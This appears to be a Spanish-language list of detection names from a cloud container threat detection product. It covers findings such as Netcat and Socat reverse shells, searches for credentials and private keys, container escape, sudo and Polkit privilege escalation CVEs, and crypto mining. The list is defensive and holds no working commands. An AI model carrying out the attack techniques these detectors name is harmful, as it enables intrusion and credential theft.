Establece variables de entorno:

Ejecución del binario añadido

Carga de la biblioteca añadida

Colección: modificación de Pam.d (vista previa)

Comando y control: se ha detectado una herramienta de esteganografía

Acceso a credenciales: acceder a archivos sensibles en nodos (vista previa)

Acceso a credenciales: buscar Google Cloud credenciales

Acceso a credenciales: reconocimiento de claves GPG

Acceso a credenciales: buscar claves privadas o contraseñas

Evasión de defensas: líneas de comandos de archivos ELF en Base64

Evasión de defensas: se ha ejecutado un script de Python codificado en Base64

Evasión de defensas: se ha ejecutado un script de shell codificado en Base64

Evasión de defensas: inhabilitar o modificar el sistema de auditoría de Linux (vista previa)

Evasión de defensas: lanzar la herramienta de compilación de código en un contenedor

Evasión de defensas: certificado raíz instalado (vista previa)

Ejecución: Added Malicious Binary Executed

Ejecución: escape de contenedores

Ejecución: ejecución sin archivos en /memfd:

Ejecución: ejecución de vulnerabilidad de Ingress Nightmare

Ejecución: ejecución de herramientas de ataque de Kubernetes

Ejecución: ejecución de herramienta de reconocimiento local

Ejecución: se ha ejecutado un archivo Python malicioso

Ejecución: se ha ejecutado un binario malicioso modificado

Ejecución: ejecución remota de código de Netcat en un contenedor

Ejecución: posible ejecución de comandos arbitrarios a través de CUPS (CVE-2024-47177)

Ejecución: se ha detectado una posible ejecución de comandos remota

Ejecución: programa ejecutado con un proxy HTTP no permitido

Ejecución: se ha detectado un shell inverso de Socat

Ejecución: modificación sospechosa de cron (vista previa)

Ejecución: se ha cargado un objeto compartido de OpenSSL sospechoso

Exfiltración: lanzar herramientas de copia de archivos remota en un contenedor

Impacto: Detectar líneas de comandos maliciosas

Impacto: eliminar datos en bloque de un disco

Impacto: actividad sospechosa de minería de criptomonedas mediante el protocolo Stratum

Secuencia de comandos maliciosa ejecutada

URL maliciosa detectada

Persistencia: modificar ld.so.preload (vista previa)

Apropiación de privilegios: abuso de sudo para apropiación de privilegios (CVE-2019-14287)

Apropiación de privilegios: ejecución sin archivos en /dev/shm

Apropiación de privilegios: vulnerabilidad de apropiación de privilegios local de Polkit (CVE-2021-4034)

Apropiación de privilegios: posible apropiación de privilegios de sudo (CVE-2021-3156)

Shell inverso

Shell secundario inesperado

Siguientes pasos

Probar Container Threat Detection

Ejecución: ejecución sin archivos en `/memfd:`

Apropiación de privilegios: ejecución sin archivos en `/dev/shm`